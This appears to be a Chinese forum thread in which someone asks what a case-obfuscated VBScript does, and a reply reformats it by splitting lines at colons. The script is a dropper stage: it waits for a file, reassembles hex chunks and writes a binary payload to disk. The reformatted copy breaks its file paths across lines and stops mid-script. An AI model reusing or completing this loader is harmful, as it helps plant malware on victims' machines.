怎么解释代码？

on eRROr ReSume NeXt:T=1:do:seT w=CREATEoBjEct("ScRIpting.fILESYSTEmObjECt"):do wHiLE w.filEEXIsts("C:\ivwus")=faLse:WsCripT.SlEEp(1000):LOop:SEt P=W.OPEnTEXTfILe("C:\ivwus",1):do whILe p.ATEnDoFsTReAM=faLSe:z=p.ReAdLiNE:V=LEN(z):q=lEFT(Z,2):seLEcT CaSe tRuE:CasE IsnuMERiC(q)=fAlSe:CAsE v=3902+3 AND inT(q)=t:J=J+mid(z,3,3902):T=t+1:CAse v=2910+3 AnD INT(Q)=T:j=j+mId(z,3,2910):t=t+1:END SELect:LOop:P.CloSE:if 16+1=T THEN:L=lEN(J)/2:SET E=CrEAtEOBJEct("Adodb.RecORDSEt"):E.fielDS.apPend "M",205,l:e.OpEn:e.AdDNeW:E("m")=J:e.updaTe:J=e("M").geTChunk(L):Set g=CreaTEobjECt("adoDb.sTrEam"):WiTH G:.Mode=3:.TYPE=1:.opEN():.wrITE j:.SaveTofIle "C:\fvoxs",2:ENd WiTh:wscriPT.Quit:END IF:wscrIPT.SleEp(200):LOop
怎么解释代码？
oN ERROr rEsumE NeXt:r=1:DO:sET i=cReatEOBjECT("ScriptInG.fILeSYSTeMOBjeCt"):do whILE i.filEeXiSTs("C:\swfg")=FAlSE:wsCRIPt.slEep(1000):lOOP:sET s=I

把“:”换成回车就好看了~
on eRROr ReSume NeXt
T=1
do
seT w=CREATEoBjEct("ScRIpting.fILESYSTEmObjECt")
do wHiLE w.filEEXIsts("C
\ivwus")=faLse
WsCripT.SlEEp(1000)
LOop
SEt P=W.OPEnTEXTfILe("C
\ivwus",1)
do whILe p.ATEnDoFsTReAM=faLSe
z=p.ReAdLiNE
V=LEN(z)
q=lEFT(Z,2)
seLEcT CaSe tRuE
CasE IsnuMERiC(q)=fAlSe
CAsE v=3902+3 AND inT(q)=t
J=J+mid(z,3,3902)
T=t+1
CAse v=2910+3 AnD INT(Q)=T
j=j+mId(z,3,2910)
t=t+1
END SELect
LOop
P.CloSE
if 16+1=T THEN
L=lEN(J)/2
SET E=CrEAtEOBJEct("Adodb.RecORDSEt")
E.fielDS.apPend "M",205,l
e.OpEn
e.AdDNeW
E("m")=J
e.updaTe
J=e("M").geTChunk(L)
Set g=CreaTEobjECt("adoDb.sTrEam")
WiTH G
.Mode=3
.TYPE=1
.opEN()
.wrITE j
.SaveTofIle "C
\fvoxs",2
ENd WiTh